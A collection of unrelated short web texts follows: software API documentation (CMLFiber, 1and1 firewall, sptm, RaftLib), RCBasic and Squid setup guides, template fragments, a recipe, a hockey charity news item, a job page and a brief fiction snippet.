WeblogNG helps you instrument, capture, aggregate, and visualize your application's performance.
WeblogNG is not (currently)
a monitoring system
a profiler
a general purpose logging system for, e.g. errors, warnings, info
system architecture
instrument
function present_instrument_slide(){
var metricName = "slide-instrument"
logger.recordStart(metricName)
//... talk about instrumentation ...
logger.recordFinishAndSendMetric(metricName)
}
objectives of the api
simple
intentional
lightweight
instrument interesting things
“capture the metrics you're likely to need to debug problems in production”
-- Captain Obvious
interactions with other systems
size of collections
time in queue
known critical sections of the application
capture
WeblogNG client libraries send a stream of metrics recorded in your application to WeblogNG servers via http or websockets
The metric stream is captured by the WeblogNG servers and stored
aggregate
Each minute, WeblogNG examines the raw stream of values for each metric name
computes basic statistics for the new data points
median
p95
p99
updates the long-term metric storage for that minute with the computed values, making them available for in charts


| Package | org.si.cml |
| Class | public class CMLFiber |
| Inheritance | CMLFiber org.si.cml.core.CMLListElem |
USAGE
1) Get the CMLFiber instance from CMLObject.execute().
2) CMLFiber.destroy(); stops this fiber.
3) CMLFiber.object; accesses to the CMLObject this fiber controls.
4) CMLFiber.target; accesses to the CMLObject this fiber targets to.
See also
| Property | Defined by | ||
|---|---|---|---|
| angle : Number [read-only] Angle of this fiber.
| CMLFiber | ||
| barrage : CMLBarrage
[read-only] CMLBarrage that this fiber uses.
| CMLFiber | ||
| hasDestFiber : Boolean [read-only] Does this fiber have any destruction fiber ?
| CMLFiber | ||
| isActive : Boolean [read-only] Is active ? When this property shows false, this fiber is already destroyed.
| CMLFiber | ||
| isParent : Boolean [read-only] Does this fiber have any children ?
| CMLFiber | ||
| maxLoopInFrame : int [static][write-only] Maximum limitation of the executable looping count in 1 frame.
| CMLFiber | ||
| maxStacCount : int [static][write-only] Maximum limitation of the executable gosub nest count.
| CMLFiber | ||
| object : CMLObject
[read-only] CMLObject that this fiber controls.
| CMLFiber | ||
| sequence : CMLSequence
[read-only] Sequence argument.
| CMLFiber | ||
| string : String [read-only] String argument.
| CMLFiber | ||
| target : CMLObject
CMLObject that this fiber targets to.
| CMLFiber |
| Method | Defined by | ||
|---|---|---|---|
|
CMLFiber()
You cannot create new CMLFiber(). You can get CMLFiber instance only from CMLObject.execute().
| CMLFiber | ||
|
destroy():void
Stop the fiber.
This function stops all child fibers also. | CMLFiber | ||
|
destroyAllChildren():void
Stop all child fibers.
| CMLFiber | ||
|
destroyChild(child_id:int):Boolean
Stop child fiber with specifyed id.
| CMLFiber | ||
|
Find child fiber with specifyed id.
| CMLFiber | ||
|
getInterval():int
Get the interval value (specifyed by "i" command) of this fiber.
| CMLFiber | ||
|
getLoopCounter(nest:int = 0):int
Get the loop counter of this fiber.
| CMLFiber | ||
|
getVeriable(idx:int):Number
Get the variables of the sequence "$1...$9".
| CMLFiber |
| angle | property |
angle:Number
[read-only]Angle of this fiber. The value is set by "h commands.
Implementation public function get angle():Number
| barrage | property |
barrage:CMLBarrage
[read-only]CMLBarrage that this fiber uses.
Implementation public function get barrage():CMLBarrage
| hasDestFiber | property |
hasDestFiber:Boolean
[read-only]Does this fiber have any destruction fiber ?
Implementation public function get hasDestFiber():Boolean
| isActive | property |
isActive:Boolean
[read-only]Is active ? When this property shows false, this fiber is already destroyed.
Implementation public function get isActive():Boolean
| isParent | property |
isParent:Boolean
[read-only]Does this fiber have any children ?
Implementation public function get isParent():Boolean
| maxLoopInFrame | property |
maxLoopInFrame:int
[write-only]Maximum limitation of the executable looping count in 1 frame.
The default value is 1024
.
public function set maxLoopInFrame(value:int):void
| maxStacCount | property |
maxStacCount:int
[write-only]Maximum limitation of the executable gosub nest count.
The default value is 64
.
public function set maxStacCount(value:int):void
| object | property |
object:CMLObject
[read-only]CMLObject that this fiber controls.
Implementation public function get object():CMLObject
| sequence | property |
sequence:CMLSequence
[read-only] Sequence argument.
This property is used in callback function of CMLSequence.registerUserCommand() with the option 'requireSequence' is true.
When the next statement of user command is not sequence. outputs parsing error. Or, when the next statement is '{.}', returns null.
public function get sequence():CMLSequence
| string | property |
string:String
[read-only] String argument.
This property is used in callback function of CMLSequence.registerUserCommand().
When the next statement of user command is not '...', this property shows null.
public function get string():String
// Register the user command CMLSequence.registerUserCommand("print", callbackPrint); function callbackPrint(fbr:CMLFiber) { // You can refer the string after user command. _drawText(fbr.string); } // String comment after the user command in sequence. // In this sequence, you call _drawText('Hello World !!'). var seq:CMLSequence = new CMLSequence("&print'Hello World !!'");
| target | property |
target:CMLObject
[read-write]CMLObject that this fiber targets to.
Implementation public function get target():CMLObject
public function set target(value:CMLObject):void
| CMLFiber | () | constructor |
public function CMLFiber()
You cannot create new CMLFiber(). You can get CMLFiber instance only from CMLObject.execute().
See also
| destroy | () | method |
public function destroy():void
Stop the fiber.
This function stops all child fibers also.
| destroyAllChildren | () | method |
public function destroyAllChildren():void
Stop all child fibers.
| destroyChild | () | method |
public function destroyChild(child_id:int):Boolean
Stop child fiber with specifyed id.
Parameterschild_id:int |
Boolean |
| findChild | () | method |
public function findChild(child_id:int):CMLFiber
Find child fiber with specifyed id.
Parameterschild_id:int |
CMLFiber |
| getInterval | () | method |
public function getInterval():int
Get the interval value (specifyed by "i" command) of this fiber.
Returnsint — Interval.
|
| getLoopCounter | () | method |
public function getLoopCounter(nest:int = 0):int
Get the loop counter of this fiber.
Parametersnest:int (default = 0 ) — loop index. The index of 0 means the most inner loop, and 1 means the loop 1 outside.
|
int — Loop count. Start at 0, and end at [loop_count]-1.
|
| getVeriable | () | method |
public function getVeriable(idx:int):Number
Get the variables of the sequence "$1...$9".
Parametersidx:int — of variable.
|
Number — Value of variable.
|


Fill out the survey below and find out!
Congratulations ! About a hundred miles off the coast of Costa Rica, this tropical paradise is ideal for any thrill seeker thirsty for a sense of adventure!
Congratulations ! Deep within the forests of New Jersey, this serene lake is the perfect getaway for anyone looking to embrace the tranquility of nature.
Congratulations ! Hope you like the heat because here you'll be getting plenty of it as you take some time to get away and self reflect.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2
For the haddock, mix together the tea, sugar and rice in a bowl.
Line a large, wide, deep saucepan with foil and add the rice mixture.
Place another sheet of foil over the tea mixture and place the fish on top. Put a lid on the saucepan. Place on a high heat and cook for ten minutes, until cooked through. NB: Tea-smoking gnerates a lot of smoke. Be sure that you open the windows and get as much ventilation as you can.
For the gnocchi, place the butter and water into a saucepan and bring to the boil, then add the flour, beating with a wooden spoon until smooth, then remove from the heat.
Transfer the gnocchi mixture to a clean bowl and add the eggs, herbs and beans, stiring throughly to combine.
Spoon the gnocchi mixture into a piping bag and pipe out onto a clean, floured surface into a long sausage. Then cut into 5cm/2in pieces..
Fill a saucepan with boiling water and add some salt. Once the water is boiling add the gnocchi and cook for five minutes, or until it is floating on the surface, then remove with a slotted spoon, and drain on kitchen paper.
Meanwhile, for the sauce, mix the stock and cream together in a saucepan and simmer till the liquid has reduced by half. Add the chopped beans and diced tomato to the sauce, to taste, and season with salt and freshly ground black pepper.
To serve, stir the gnocchi into the sauce and pour onto a serving plate. Carefully remove the haddock and place on top.


Surrey Eagles game benefits foundation in name of slain hockey coach
Cloverdale Minor Hockey theme night for BCHL team this Sunday, Nov. 10
by Tom ZillichThe Surrey Eagles’ home game this Sunday afternoon will be played in support of the Paul Bennett Foundation.
Players on the BCHL team will wear special Cloverdale Minor Hockey Association-themed jerseys during the 4 p.m. game against Langley Rivermen, and the jerseys will be auctioned off after the game.
All proceeds will go to support the foundation created in honour of Bennett, a Cloverdale resident who was shot and killed outside his 67A Avenue home on June 23, 2018, in what police consider a case of mistaken identity. His killer is still on the loose.
Bennett, a married father of two, was an operating-room nurse department manager at Peace Arch Hospital. In his spare time, he coached and played hockey.
• RELATED STORY, from August: ‘Enduring legacy’ for slain hockey coach Paul Bennett in Cloverdale.
Sunday’s game will be followed by a public skating session at South Surrey Arena. For tickets, email<EMAIL_ADDRESS>visit surreyeagles.ca or call 604-531-GOAL.
The Bennett Foundation benefit game is the second of three special events for the Eagles this month. More details are posted to surreyeagles.ca/special-events-at-the-nest.


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{% extends "base.html" %} {% load codrspace_tags %} {% block title %}404 Page Not Found{% endblock %} {% block content %}
Looks like the URL in the address bar doesn't exist.
You can try:


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--- title: WorkSpaces Self-Service layout: default ---
This will permanently delete your WorkSpace. All data will be lost and unrecoverable!


assignment Explore #1
Assignment Date
When the assignment was given, completed, etc.
Description of assignment goes here
Description of assignment goes here
assignment Create #1
November 9th
Due November 9th
First "Create" Performance Task, used Magic 8 Ball app
First "Create" Performance Task, used Magic 8 Ball app


Designing, Building and maintaining Platform as a Service systems
Building infrastructures independent from IaaS provider avoiding Vendor lock-in
Getting things done in a structured programming paradigm writing great test automated code
PostgreSQL, MySQL, MongoDB, RabbitMQ, ElasticSearch, Redis, ... what we need to get the job done :D


Firewall Policies¶
-
OneAndOne::Firewall()
The
Firewall
class allows a user to perform actions against the 1and1 API.-
list
(page: nil, per_page: nil, sort: nil, q: nil, fields: nil)¶ Return a list of all shared storages.
Parameters: - page (
int
) – Allows the use of pagination. Indicate which page to start on. - per_page (
int
) – Number of items per page. - sort (
str
) –sort: 'name'
retrieves a list of elements sorted alphabetically.sort: 'creation_date'
retrieves a list of elements sorted by their creation date in descending order. - q (
str
) –q
is for query. Use this parameter to return only the items that match your search query. - fields (
str
) – Returns only the parameters requested. (i.e. fields: ‘id, name, description, hardware.ram’)
Return type: JSON
- page (
-
create
(name: nil, description: nil, rules: nil)¶ Create a firewall policy.
Parameters: - name (
str
) – firewall policy’s name. - description (
str
) – firewall policy’s name. - rules (
array
) – an array of rules for the new firewall policy.
Return type: JSON
- name (
-
get
(firewall_id: @id)¶ Returns a firewall policy’s current specs.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall.
Return type: JSON
- firewall_id (
-
modify
(firewall_id: @id, name: nil, description: nil)¶ Modify a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - name (
str
) – firewall policy name. - description (
str
) – firewall policy description.
Return type: JSON
- firewall_id (
-
delete
(firewall_id: @id)¶ Delete a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall.
Return type: JSON
- firewall_id (
-
ips
(firewall_id: @id)¶ Returns a list of the IPs assigned to a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall.
Return type: JSON
- firewall_id (
-
ip
(firewall_id: @id, ip_id: nil)¶ Returns information about an IP assigned to a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - ip_id (
str
) – the unique identifier for the IP.
Return type: JSON
- firewall_id (
-
add_ips
(firewall_id: @id, ips: nil)¶ Add IPs to a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - ips (
array
) – an array of IP ID’s for the new firewall policy..
Return type: JSON
- firewall_id (
-
rules
(firewall_id: @id)¶ Returns a list the firewall policy’s rules.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall.
Return type: JSON
- firewall_id (
-
rule
(firewall_id: @id, rule_id: nil)¶ Returns information about a firewall policy’s rule.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - rule_id (
str
) – the unique identifier for the firewall rule.
Return type: JSON
- firewall_id (
-
add_rules
(firewall_id: @id, rules: nil)¶ Add rules to a firewall policy.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - rules (
array
) – an array of rule objects.
Return type: JSON
- firewall_id (
-
remove_rule
(firewall_id: @id, rule_id: nil)¶ Remove a firewall policy’s rule.
Parameters: - firewall_id (
str
) – the unique identifier for the firewall policy. - rule_id (
str
) – the unique identifier for the firewall rule.
Return type: JSON
- firewall_id (
-
wait_for
()¶ Polls the firewall policy until an “ACTIVE” state is returned. Use this when chaining actions.
Return type: nil
-


3.2 Unpacking the Source
After downloading the source distribution, you need to unpack it
somewhere. The particular location doesn't really
matter. You can unpack Squid in your home directory or anywhere;
you'll need about 20 MB of free disk space.
Personally, I like to use /tmp. Use the
tar command to extract the source directory:
% cd /tmp
% tar xzvf /some/where/squid-2.5.STABLE4-src.tar.gz
squid-2.5.STABLE4/
squid-2.5.STABLE4/CONTRIBUTORS
squid-2.5.STABLE4/COPYING
squid-2.5.STABLE4/COPYRIGHT
squid-2.5.STABLE4/CREDITS
squid-2.5.STABLE4/ChangeLog
squid-2.5.STABLE4/INSTALL
squid-2.5.STABLE4/QUICKSTART
squid-2.5.STABLE4/README
...
Some tar programs don't have the
z option, which automatically uncompresses
gzip files. In that case, you'll
need to use this command:
% gzip -dc /some/where/squid-2.5.STABLE4-src.tar.gz | tar xvf -
Once the source code has been unpacked, the next step is usually to
configure the source tree. However, if this is the first time
you're compiling Squid, you should make sure certain
kernel resource limits are high enough; to find out how, read on.
|


{% extends "base.html" %} {% load i18n static %} {% load url from future %} {% block title %}{% trans 'Password change' %}{% endblock %} {% block content %}
{% trans "Please enter your old password, for security's sake, and then enter your new password twice so we can verify you typed it in correctly." %}


-
{% for name, state, party in people %}
- {{ name }} (with party affiliation:{{ party }}) from State: {{ state }} {% endfor %}
No people are available.
{% endif %}{% extends "header.html" %} {% load staticfiles %} {% block content %}
No people are available.
{% endif %}


GETTING STARTED
RCBasic comes with 2 command-line tools for creating programs. The first is rcbasic_build which takes your
sourcecode in your *.bas file and compiles it into a *.cbc. The *.cbc file contains intermediate bytecode
which can be ran with the rcbasic (rcbasic.exe on windows) application. To distribute your program you will
need to package your *.cbc file with a copy of the rcbasic executable which needs to be renamed to the name of
your *.cbc file.
For Example:
If you have myprogram.cbc then rcbasic needs to be renamed to myprogram (myprogram.exe on windows).
NOTE:On Windows, you need to include all the 32-bit dlls with the 32-bit executable and all the 64-bit
dlls with the 64-bit executable. The rcbasic package tool will automatically do all of this for you as well as package for
other systems as well.
RUN PROGRAMS FROM GEANY
LINUX
In the installer directory there is a folder called geany_files. Inside the folder there is a file named
filetypes.rcbasic. You can override the geany *.bas configuration by replacing the freeBasic configuration
with this file. Just copy this file to the geany filedefs path, which on most linux distibutions should be
(/home/.config/geany/filedefs), and rename the file to filetypes.freebasic.
Once you have rcbasic set up with geany you just need to create a new file and save it as *.bas. Then you can
compile your program by going to Build->Compile. Once your program is compiled you can run it by going to
Build->Execute.
NOTE: If you want to use a different file extension for rcbasic programs you can still use this file and just set
it up for a different extension. Refer to the geany documentation on how to set up different file types.
WINDOWS
Geany comes preconfigured with rcbasic on windows. Just run the start_editor.bat file and create a new *.bas
file. Select the File->New with Template option in the menu to start with a simple template program. Once you
have created a new *.bas file goto Build->Compile to compile your program to a *.cbc file. Then goto Build->Execute
to run your program.
USING RCBASIC FROM THE COMMAND-LINE
RCBasic will be added to path on install on linux. On Windows you will need to add the rcbasic folder to your path.
Either (rcbasic/rcbasic_32) or (rcbasic/rcbasic_64) depending on your operating system.
Once rcbasic is in your path you can simple pass a source file to rcbasic_build to create a *.cbc file.
rcbasic_build myprogram.bas
Once you have a *.cbc file you can pass it to rcbasic to run it.
rcbasic myprogram.cbc
Both tools also except the --version argument which will simply output the version of rcbasic you are using.
rcbasic_build --version
rcbasic -version
PORTING TO OTHER PLATFORMS
If you are using geany, RCBasic comes bundled with a tool that enables you to generate binary distributions of your
programs that you can distribute however you see fit. If you want to use the tool with other editors you should be able to.
Just pass your project directory along with the name of your *.bas file to app_build_gui.cbc. Since RCBasic compiles to intermediate
bytecode, the distributables produced by this tool only bundles it with the runtime for each platform.
This tool will be available from the Build menu on windows when you startup geany using start_editor.exe. On linux you will
need to install geany from your package manager and run rcbasic_geany_config.sh to set these tools up. This will setup geany
to use RCBasic for *.bas files instead of freebasic. You can modify this behavior by editing the rcbasic_geany_config.sh file.
To be able to build for Android you will need to install the Android SDK command-line tools which are available on Google's
official Android SDK page. You will also need to make sure you have the ANDROID_HOME environment variable set prior to starting
geany. You should ensure you have an internet connection the first time you attempt to build for Android because it will need to
download some packages and do a first time setup. The first time you build for android it will take longer to build your APK
because it will need to build its dependencies. Once that is done, each subsequent build should be quite a bit faster.
NOTE: If you are trying to publish an android app you will need to generate a keystore. There is a tool that comes bundles with
RCBasic called gen_key that will ask you for some information and generate the keystore for you. After you create your keystore
you need to enter the name of your keystore and alias along with your password on the Android Settings tab in the Distribute App
tool. Also, make sure you select the release checkbox at the bottom in Android Settings.
To be able to build for the web you will need to have git installed. You will also need an internet connection the first time you build for
the web since it will need to download and setup emscripten to build the runtime. This will probably take a while but it will only need
to do this setup once.
For IOS, you will need to download the XCode project and put all your project files in the assets folder. Rename your *.cbc file to
main.cbc. After that you should just be able to build.
All source code to these tools is written in RCBasic itself and is provided with RCBasic for you to tinker with. If you make an
improvement that you would like to contribute to the RCBasic repo just checkout a branch and put up a pull-request on
https://github.com/n00b87/RCBASIC3. If you do wish to contribute it is greatly
appreciated.


sptm package¶
Submodules¶
sptm.conditional module¶
Compute conditional probability matrix
-
class
sptm.conditional.
ConditionalMatrix
(doctopics_path, tokens_path)[source]¶ Compute the conditional matrix of topics
From the data used to train the LDA model, make a matrix of topics vs topics and compute the conditional probability of topic B occuring after topic A. Take this matrix and process it (sort and label it).
-
doc_matrix
¶ Output from training the LDA model provided by Mallet. Contains the topic probabilities of each sentence.
-
data_index
¶ list containing the data index number for each sentence.
-
num_sent
¶ Number of sentences
-
num_topics
¶ Number of topics
-
topic_freq
¶ Sum of the weights for a topic over the whole dataset
-
freq_matrix
¶ Matrix of floats (conditional probabilities)
-
labels
¶ List of strings, labels for each topic, has to be manually labeled
-
labeled
¶ freq_matrix with labels
-
sorted
¶ freq_matrix with labels and sorted in decending order
-
construct_matrix
()[source]¶ Compute the conditional probabilities
Construct a simple frequency matrix of each topic (current sentence) vs topic (next sentence), Identify the topics with high probabilities for each sentence
Raises: Exception
– Sentence Missing, you can ignore this message
-
sptm.inference module¶
Inferencer functions
-
class
sptm.inference.
Inferencer
(model, dictionary)[source]¶ Inferncer object to compute probability of next sentence given the current sentence
-
model
¶ LDA Mallet model
-
dictionary
¶ Dictionary used to train LDA model
-
infer
(query, sentence_ml=2, token_ml=1)[source]¶ Run an inference on the query
NOTE: use the same minimum lengths here as used during preprocessing
Parameters: - query – List of reviews
- sentence_ml – Minimum length of the sentence in words
- token_ml – Minimum length of the tokens in characters
Returns: List of topics with their probability
-
sptm.model module¶
Adjust, train and optimize Model
-
class
sptm.model.
Model
(mallet_path, tokens=None, input_path=None)[source]¶ Adjust, train and optimize LDA model
This class is responsible for traning the Topic Model using Mallet’s LDA which can be found [here](http://mallet.cs.umass.edu/topics.php)
-
mallet_path
¶ Path to Mallet binary
-
tokens
¶ List of lists containing data index number and tokens
-
id2word
¶ Dictionary of the Corpus
-
corpus
¶ Term Document frequency
-
alpha = Model alpha hyperparameter
-
workers = Number of workers spawned while training the model
-
prefix = prefix
-
optimize_interval = Number of iterations after which to re-evaluate
hyperparameters
-
iterations = Number of iterations
-
topic_threshold = topic threshold
-
num_topics = Number of topics
-
lda_model_mallet = Gensim Mallet LDA wrapper object
-
fit
()[source]¶ Generate the id2word dictionary and term document frequency of the given tokens
NOTE: Should be called only after making sure that the tokens have been properly read
Raises: Exception
– self.tokens empty or not in required format
-
get_coherence
()[source]¶ Compute Coherence Score of the model
NOTE: You cannot compute the coherence score of a saved model
Returns: Float value
-
load
(saved_model)[source]¶ Load a Mallet LDA model previously saved
Parameters: saved_model – Location to saved model Raises: IOError
– File already present or location does not exist
-
optimum_topic
(start=10, limit=100, step=11)[source]¶ Compute c_v coherence for various number of topics
if you want to change the parameters of the model while training, call Model.params() first as it uses the same parameters.
NOTE: You cannot compute the coherence score of a saved model.
Parameters: - dictionary – Gensim dictionary
- corpus – Gensim corpus
- texts – List of input texts
- limit – Max num of topics
Returns: Dictionary of {num_topics, c_v}
-
params
(alpha=50, workers=4, prefix=None, optimize_interval=0, iterations=1000, topic_threshold=0.0, num_topics=100)[source]¶ Model parameters
NOTE: These are the same parameters used while traning models for coherence computation. Call this function to re-initialize parameter values in that case
Parameters: - alpha – Alpha value (Dirichlet Hyperparameter)
- workers – Number of threads to spawn to parallel traning process
- prefix – prefix
- optimize_interval – Number of intervals after which to recompute hyperparameters
- iterations – Number of iterations
- topic_threshold – Topic threshold
- num_topics – Number of topics
-
save
(output_path)[source]¶ Save the Mallet lDA model
Also, save the document_topic distribution, corpus and inferencer
Parameters: output_path – Location with filename to save the LDA model Raises: IOError
– Error with output_path / File already exists
-
sptm.postprocess module¶
Used to graph the Hellingers distance between topic vectors
sptm.preprocess module¶
Preprocess the data
-
class
sptm.preprocess.
Corpus
(path=None, raw_review=None, sentences=None, tokens=None)[source]¶ Corpus object to handle all pre-processing of data
read_reviews() method assumes data in the file to be in the following format:
<metadata></t>…</t><data_in_multiple_sentences>
Data to be preprocessed must be in the last column.
-
path
¶ path to the data file
-
raw_review
¶ data read from the file in a list
-
sentences
¶ list of lists containing data number and sentence
-
tokens
¶ list of lists of data index number followed by tokenized sentence
-
read_reviews
(delimiter='\t', reg='(\\\\u[0-z][0-z][0-z])\\w', rep=' ')[source]¶ Read reviews and store it in a list
Parameters: - delimiter – The seperator between data
- reg – Custom regex to filter
- rep – String to replace the regex values
Raises: IOError
– file not foundException
– Data format in the file opened does not follow the specified template style
-
split_sentence
(min_len=2)[source]¶ Split each data index into its individual sentences
Splits data index at periods.
Parameters: min_len – Minimum length of a sentence above which to include
-
tokenize_custom
(min_len=1)[source]¶ Processes sentences
Tokenize, ignore tokens that are too small, lemmatize, filter out grammar {stop words, symbols, prepositions, numbers etc}
Parameters: min_len – Minimum length of tokens
-
sptm.utils module¶
Utility functions
-
sptm.utils.
force_unicode
(string, encoding='utf-8', errors='ignore')[source]¶ Force converts a string to unicode object
Treats bytestrings using the ‘encoding’ codec.
Parameters: - string – string to be encoded
- encoding – encoding type, defaults to utf-8
- errors – whether or not to ignore errors, defaults to ignore
Returns: unicode object
Raises: TypeError
– string argument left empty


CanDIG is building the open-source, standards-based infrastructure to power truly national-scale Canadian genomics health research projects, allowing the analysis of Canada-wide data while keeping patients data secure and private within the instutions entrusted with that data.
As a GA4GH driver project, we work closely with our fellow driver projects - the largest genomics projects in the world - developing, testing, and implementing emerging standards for health genomics projects, on matters technical, of security, and of governance and ethics. Through international grants we are taking what Canada has learned about secure federated data analysis and introducing it to the international community.
We have a modern software stack, with RESTful APIs, Python, OpenID Connect, Swagger/OpenAPI, and Docker. We have a growing national profile, supporting important research projects like the Marathon of Hope Cancer Centres Networks and the Canadian COVD-19 Genomics Network.
The CanDIG team is nationally-distributed, with members at the UHN DATA group, at McGill's Canadian Centre for Computational Genomics, and at the BC Genome Sciences Centre. We work as a remote team, but all sites have physical offices that are available for local staff.
Does that sound like something you'd like to be a part of? Great! We're frequently looking for new team mates! Take a look below and see if any of these job look right for you; and if not, check back soon - we continue to grow!
{% for listing_city in site.data.jobs.cities | sort: name %} {% assign jobs = site.data.jobs.listings | where:"city",listing_city.name %} {% if jobs != '' and jobs.size >= 1 %}{% if job.url %} {{job.title}} {% else %} {{job.title}} {% endif %}
{% if job.postingdate %} Posting Date: {{job.postingdate}} {% endif %}
{{job.description}}
{% if job.needed_skills %}{{job.needed_skills}}
{% endif %} {% if job.nice_to_have %}{{job.nice_to_have}}
{% endif %} {% endfor %} {% endif %} {% endfor %}


Microsoft SQL Server is a Relational Database Management System (RDBMS) developed by Microsoft. It is a highly scalable product that can be run on anything from a single laptop, to a network of high-powered cloud servers, and anything in between.Since the release of SQL Server 1.0 in 1989, SQL Server has evolved to become a true, enterprise information platform. While it's core function is that of an RDBMS, SQL Server has become much more than that. SQL Server 2016 includes built-in business intelligence tools, as well as a range of analysis and reporting tools. This is on top of the database management tools such as database creation, backup, replication, security, and more.


You run down the street till you get to the end of the cul de sac. You are out of breath because cardio is sooo not your thing and you sit on the curb and try to convince your heart that it's not freaking out.  She was def less than 10.  At least I think it was full grown....I really need to read more, you think.


|
RaftLib
0.3a
C++ Stream Processing Template Library
|
Public Member Functions | |
| FIFO () | |
| virtual | ~FIFO () |
| virtual std::size_t | size ()=0 |
| virtual std::size_t | space_avail ()=0 |
| virtual std::size_t | capacity ()=0 |
| template<class T , typename std::enable_if< std::is_pod< T >::value >::type * = nullptr> | |
| T & | allocate () |
| template<class T , class... Args, typename std::enable_if< std::is_object< T >::value and notstd::is_fundamental< T >::value >::type * = nullptr> | |
| T & | allocate (Args &&...params) |
| virtual void | deallocate ()=0 |
| template<class T > | |
| auto | allocate_s () -> autorelease< T, allocatetype > |
| template<class T > | |
| auto | allocate_range (const std::size_t n) -> std::vector< std::reference_wrapper< T > > |
| virtual void | send (const raft::signal=raft::none)=0 |
| virtual void | send_range (const raft::signal=raft::none)=0 |
| template<class T > | |
| void | push (const T &item, const raft::signal signal=raft::none) |
| template<class T > | |
| void | push (T &&item, const raft::signal signal=raft::none) |
| template<class iterator_type > | |
| void | insert (iterator_type begin, iterator_type end, const raft::signal signal=raft::none) |
| template<class T > | |
| void | pop (T &item, raft::signal *signal=nullptr) |
| template<class T > | |
| void | pop_range (pop_range_t< T > &items, const std::size_t n_items) |
| template<class T > | |
| T & | peek (raft::signal *signal=nullptr) |
| template<class T > | |
| auto | peek_range (const std::size_t n) -> autorelease< T, peekrange > |
| virtual void | unpeek ()=0 |
| template<class T , typename std::enable_if< std::is_pod< T >::value >::type * = nullptr> | |
| void | recycle (const T &t, const std::size_t range=1) |
| template<class T , typename std::enable_if< std::is_object< T >::value and notstd::is_fundamental< T >::value >::type * = nullptr> | |
| void | recycle (const T &t, const std::size_t range=1) |
| virtual void | get_zero_read_stats (Blocked ©) |
| virtual void | get_zero_write_stats (Blocked ©) |
| virtual void | resize (const std::size_t n_items, const std::size_t align, volatile bool &exit_alloc)=0 |
| virtual float | get_frac_write_blocked ()=0 |
| virtual void | invalidate ()=0 |
| virtual bool | is_invalid ()=0 |
Protected Types | |
| using | recyclefunc = std::function< void(void *) > |
Protected Member Functions | |
| virtual void | set_src_kernel (raft::kernel *const k)=0 |
| virtual void | set_dst_kernel (raft::kernel *const k)=0 |
| virtual raft::signal | signal_peek ()=0 |
| virtual void | signal_pop ()=0 |
| virtual void | inline_signal_send (const raft::signal sig)=0 |
| virtual void | local_allocate (void **ptr)=0 |
| virtual void | local_allocate_n (void *ptr, const std::size_t n)=0 |
| virtual void | local_push (void *ptr, const raft::signal &signal)=0 |
| virtual void | local_insert (void *ptr_begin, void *ptr_end, const raft::signal &signal, const std::size_t iterator_type)=0 |
| virtual void | local_pop (void *ptr, raft::signal *signal)=0 |
| virtual void | local_pop_range (void *ptr_data, std::size_t n_items)=0 |
| virtual void | local_peek (void **ptr, raft::signal *signal)=0 |
| virtual void | local_peek_range (void **ptr, void **sig, const std::size_t n_items, std::size_t &curr_pointer_loc)=0 |
| virtual void | local_recycle (const std::size_t range)=0 |
| virtual void | local_recycle (const std::size_t range, recyclefunc func)=0 |
Friends | |
| class | Schedule |
| class | Allocate |
| FIFO::FIFO | ( | ) |
FIFO - default constructor for base class for all subsequent ringbuffers.
FIFO.cpp -
Copyright 2014 Jonathan Beard
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at:
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
|
virtual |
~FIFO - default destructor
|
inline |
allocate - returns a reference to a writeable member at the tail of the FIFO. You must have a subsequent call to send in order to release this object to the FIFO once it is written. If the user needs to de-allocate the memory without using it, they can call the deallocate function.
call blocks till an element is available
|
inline |
call blocks till an element is available
|
inline |
TODO, fix allocate_range to double buffer properly if not enough mem available allocate_range - returns a std::vector of references to n items on the queue. If for some reason the capacity of the queue is less than n or some other unspecified error occurs then the number allocated is returned in n_ret. To release items to the queue, use push_range as opposed to the standard push.
| n | - const std::size_t, # items to allocate |
compiler should optimize this copy, if not then it'll be a copy of referneces not full objects
|
inline |
allocate_s - "auto-release" version of allocate, where the action of pushing the memory allocated to the consumer is handled by the returned object exiting the calling stack frame.
|
pure virtual |
capacity - returns the set maximum capacity of the FIFO.
|
pure virtual |
deallocate - call after allocate if memory allocated is not needed. Will deallocate all memory allocated by a previous allocate call.
|
pure virtual |
get_frac_write_blocked - returns the fraction of time that this queue was blocked. This might become a private function accessible only to the dynamic allocator mechanism, but for now its a public function.
|
virtual |
get_zero_read_stats - sets the param variable to the current blocked stats and then sets the current vars to zero. Default version here does nothing, when instrumentation is enabled then the function called actually does something.
| copy | - Blocked& |
default version does nothing at all
|
virtual |
get_zero_write_stats - sets the param variable to the current blocked stats and then sets the current vars to zero. Default version here does nothing, when instrumentation is enabled then the function, called actually does something.
| copy | - Blocked& |
default version does nothing at all
|
protectedpure virtual |
inline_signal_send - pretty much exactly like it sounds, the implementations of this function must pass a signal inline with the data stream so that this signal is received immediately after the data element sent before it.
| sig | - raft::signal, signal to be sent |
|
inline |
insert - inserts the range from begin to end in the FIFO, blocks until space is available. If the range is greater than the space available it'll simply block and add items as space becomes available. There is the implicit assumption that another thread is consuming the data, so eventually there will be room.
| begin | - iterator_type, iterator to begin of range |
| end | - iterator_type, iterator to end of range |
| signal | - raft::signal, default raft::none |
|
pure virtual |
invalidate - used by producer thread to label this queue as invalid. Could be for many differing reasons, however the bottom line is that once empty, this queue will receive no extra data and the receiver must do something to deal with this type of behavior if more data is requested.
|
pure virtual |
is_invalid - called by the consumer thread to check if this queue is in fact valid. This is typically only called if the queue is empty or if the consumer is asking for more data than is currently available.
|
protectedpure virtual |
local_allocate - in order to get this whole thing to work with multiple "ports" contained within the same container we have to erase the type and then put it back. To do this the template function gives a void ptr mem address which is given the location to the head of the queue. Once returned the main allocate function reinterprets this as the proper object type
| ptr | - void ** |
|
protectedpure virtual |
local_allocate_n - copies std::ref's to the data structure passed in by ptr.
